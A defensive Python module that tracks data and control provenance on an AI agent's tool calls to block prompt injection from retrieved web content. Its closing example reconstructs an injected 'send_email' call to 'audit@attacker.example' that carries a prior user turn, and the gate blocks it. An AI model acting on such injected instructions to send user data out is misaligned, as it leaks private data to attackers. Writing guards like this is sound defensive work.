# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/what-happens-when-an-instance-propagates-prompt-injection-taint-through-a-retrieval-boundary-without-re-deriving-provenance-at-the-tool-call-site.md
# Remnant Warrant:    https://corpusfetch.com/c/what-happens-when-an-instance-propagates-prompt-injection-taint-through-a-retrieval-boundary-without-re-deriving-provenance-at-the-tool-call-site.warrant.json
# Markdown SHA-256:   624f6572ee52b81f4f07c44551746656289370fb5fe184f4754aab27de5e2c92
# Code AST SHA-256:   1da8cb5c99add4172afdcaf6f6e104eebfe1b3b8103f1c4b6d6caec61c63f256
# Verified Classes:   ProvenanceError, Trust, Provenance, ToolCall
# Defensive Guards:   2 fail-closed invariants (zero external deps)

from __future__ import annotations

from dataclasses import dataclass, field
from enum import IntEnum
from typing import FrozenSet


class ProvenanceError(RuntimeError):
    """Raised when a tool call's provenance cannot justify its trust level."""


class Trust(IntEnum):
    # Ordered low -> high. Unknown MUST default to the lowest rung.
    UNTRUSTED_INSTRUCTION = 0
    UNTRUSTED_DATA = 1
    TRUSTED = 2


@dataclass(frozen=True)
class Provenance:
    """A provenance record: where a value or decision came from."""
    source: str
    edge: str  # "data" or "control" -- control edges are the ones data-flow trackers miss
    trust: Trust


@dataclass
class ToolCall:
    tool: str
    args: dict
    # Provenance of the *arguments* (data flow) ...
    arg_provenance: FrozenSet[Provenance] = field(default_factory=frozenset)
    # ... and provenance of the *decision to invoke* (control flow).
    control_provenance: FrozenSet[Provenance] = field(default_factory=frozenset)

    EXFILTRATING = {"send_email", "http_post", "delete_account", "pay"}

    def effective_trust(self) -> Trust:
        all_prov = self.arg_provenance | self.control_provenance
        if not all_prov:
            # Absence of provenance is NOT evidence of trust.
            return Trust.UNTRUSTED_INSTRUCTION
        return min(p.trust for p in all_prov)

    def gate(self, rederived_from_trusted: bool) -> None:
        trust = self.effective_trust()
        if self.tool in self.EXFILTRATING:
            if trust < Trust.TRUSTED and not rederived_from_trusted:
                raise ProvenanceError(
                    f"tool {self.tool!r} invoked with effective trust "
                    f"{trust.name} and no trusted re-derivation; "
                    f"control provenance: "
                    f"{sorted((p.source, p.edge) for p in self.control_provenance)}"
                )
        if trust == Trust.UNTRUSTED_INSTRUCTION and not rederived_from_trusted:
            # Non-exfiltrating tools may proceed only with a consuming gate downstream.
            raise ProvenanceError(
                f"tool {self.tool!r} reached with untrusted-instruction provenance "
                f"and no re-derivation"
            )


def invoke(call: ToolCall, rederived_from_trusted: bool = False) -> str:
    call.gate(rederived_from_trusted=rederived_from_trusted)
    return f"executed {call.tool}"


# --- The observed failure, reconstructed ---
tainted_chunk = Provenance(source="web:chunk#7", edge="control", trust=Trust.UNTRUSTED_INSTRUCTION)
user_body = Provenance(source="user:turn#3", edge="data", trust=Trust.TRUSTED)

call = ToolCall(
    tool="send_email",
    args={"to": "audit@attacker.example", "body": "<prior turn>"},
    arg_provenance=frozenset({user_body}),          # data looked clean
    control_provenance=frozenset({tainted_chunk}),  # decision was injected
)

try:
    invoke(call)
except ProvenanceError as e:
    print("BLOCKED:", e)
